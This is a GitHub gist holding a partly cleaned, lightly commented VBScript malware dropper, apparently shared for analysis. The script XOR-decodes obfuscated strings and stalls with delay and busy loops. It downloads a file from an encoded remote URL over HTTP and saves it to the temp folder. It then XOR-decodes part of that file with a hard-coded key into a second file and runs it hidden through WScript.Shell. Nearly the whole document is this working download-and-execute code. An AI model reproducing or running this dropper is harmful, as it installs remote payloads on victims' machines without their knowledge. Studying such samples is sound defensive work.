VBS cleaned related to vbs_dropped.vbs
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
DiM BeXExdU | |
**************************************************************************************************** | |
Sub MjX2jEP() | |
SHj="""" | |
RoMO=BeXExdU & LO6F & QAR("6F233923","FA") | |
Pi BeXExdU & QAR("6B1B190F","JEqihx"),RoMO | |
iF NvFLDqD="" tHEN UX0(4) | |
FK="Xf" | |
sEt DG=crEATEobjeCT(QAR("310B052A0F281276353003340A",FK)) | |
DG.ruN SHj & RoMO & SHj,2952-2951,3057-3057 | |
End suB | |
**************************************************************************************************** | |
**************************************************************************************************** | |
fuNCTion Pi(NU,L5) | |
diM KtdnnFk,IMOMhem,LD8Ht,QQvlw,AhdtC(5) | |
AhdtC(4)=56 | |
AhdtC(1)=100 | |
AhdtC(2)=103 | |
AhdtC(5)=57 | |
AhdtC(3)=53 | |
AhdtC(0)=104 | |
SEt KtdnnFk=crEateOBjEct(QAR("6411220B08043D59157E24111C31640B23161D1D1B551835010C", "T7rPbxp")) | |
SEt IMOMhem=KtdnnFk.getFILE(NU) | |
sET QQvlw=IMOMhem.opeNAstExtStREAM(7344-7343,4140-4140) | |
QQvlw.SkiP((-3106+8174)) | |
sEt LD8Ht=KtdnnFk.crEaTEtExTfIle(L5,6596-6595,6210-6210) | |
dO unTil QQvlw.AteNDoFstReaM | |
LD8Ht.wRitE CRjB4(N5t(Qge3PL(QQvlw.rEaD(722-721)),AhdtC(0))) | |
LoOp | |
LD8Ht.cLOSe | |
QQvlw.CLoSE | |
eNd funCtIoN | |
**************************************************************************************************** | |
**************************************************************************************************** | |
fuNCTion Qge3PL(IHhqL) 'get the dec ascii code of the char passed as argument | |
Qge3PL=aSc(IHhqL) | |
EnD fuNctIon | |
**************************************************************************************************** | |
**************************************************************************************************** | |
FUnCtiOn LO6F() 'get the seconds of current time | |
LO6F=SecoND(TImE) | |
ENd fuNCtiOn | |
**************************************************************************************************** | |
Se | |
**************************************************************************************************** | |
fuNCtIoN XqMW(MP) | |
DiM NkNi,MZeP | |
TXFpi46="WuQG" | |
Set NkNi=cReatEoBJeCt(QAR("220224251C2133792639223B19",TXFpi46)) | |
YQX | |
Set F6=NkNi.eNvirONMent(QAR("3165230571030A","Ya7lF4P")) | |
BeXExdU=F6(QAR("19220507391819","LXrUCx"))&CRjB4(92)& LO6F & LO6F | |
QT6h="Dq5BYt9" | |
SeT MZeP=creaTEobjEct(QAR("3C5C212B1B4A2B17416C0139750C256112",QT6h)) | |
MZeP.OpeN QAR("727636","C53bsi"),MP,1978-1978 '********************************************************************* | |
MZeP.SEnd() | |
if MZeP.STaTuS=200 then | |
YQX | |
UX0(4) | |
Cs MZeP.reSpoNSEbODY | |
end if | |
eNd FUNCtioN | |
**************************************************************************************************** | |
**************************************************************************************************** | |
suB Se() | |
RUXRC=91782317 | |
For ClFZS=1 To RUXRC | |
Tsz5=Tsz5+1 | |
NeXT | |
If Tsz5=RUXRC thEn | |
UX0(250) | |
XqMW(QAR("382D11214A777F3B17381E3F7D34007F19367F2A107F1A2837","XPYeQp")) | |
EnD iF | |
EnD Sub | |
**************************************************************************************************** | |
**************************************************************************************************** | |
Sub UX0(BBQk9Rx) 'delay | |
dIm RYYQB1Z | |
RYYQB1Z=timER+BBQk9Rx | |
dO WhiLe TimER<RYYQB1Z | |
lOoP | |
eNd Sub | |
*************************************************************************************************** | |
**************************************************************************************************** | |
suB Cs(V7Aznv) | |
dIM XwEB | |
LfuLTwU="ICih5" | |
seT XwEB=creATeObjECt(QAR("022D27710B6D3A1C472C2204",LfuLTwU)) | |
XwEB.oPeN | |
XwEB.tYPE=1692-1691 | |
XwEB.wriTe V7Aznv | |
XwEB.saveTofile BeXExdU & QAR("18283157","I6BA0mS"),7034-7032 '********************************************************** | |
XwEB.CLOse | |
MjX2jEP | |
EnD suB | |
**************************************************************************************************** | |
**************************************************************************************************** | |
suB YQX() 'probably do nothing | |
Dim Q0F9zS, YFKjp4 | |
For Q0F9zS = 64 To 5000263 | |
YFKjp4 = Sr4gna + 6 + 75 + 96 | |
Next | |
eNd Sub | |
**************************************************************************************************** | |
**************************************************************************************************** | |
fUNctIon N5t(U1X7v6,Vfi2NT) | |
N5t=(U1X7v6 AnD noT Vfi2NT)oR(NoT U1X7v6 aND Vfi2NT) | |
eNd fUncTiOn | |
**************************************************************************************************** | |
**************************************************************************************************** | |
fUnCTIOn QAR(Lz,SkHjfd) 'deobfuscate a string | |
diM JLJXb,Y8xV,TKRg8 | |
For JLJXb=1 To (LEn(Lz)/2) | |
Y8xV=(CRjB4(38) & CRjB4(72)&(mID(Lz,(JLJXb+JLJXb)-1,2))) | |
TKRg8=(Qge3PL(mId(SkHjfd,((JLJXb MoD Len(SkHjfd))+1),1))) | |
QAR=QAR+CRjB4(N5t(Y8xV,TKRg8)) | |
Next | |
ENd functIoN | |
**************************************************************************************************** | |
**************************************************************************************************** | |
sUb S72qH81() | |
Dim E0QT5vd,CwHM | |
dO whiLE E0QT5vd<>2520-2519 | |
CwHM=CwHM+1 | |
LoOP | |
EnD SUb | |
**************************************************************************************************** | |
**************************************************************************************************** | |
FunCTiOn CRjB4(Ab93Ig) | |
CRjB4=ChR(Ab93Ig) 'from ascii code to char | |
eND FUNction | |
**************************************************************************************************** |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment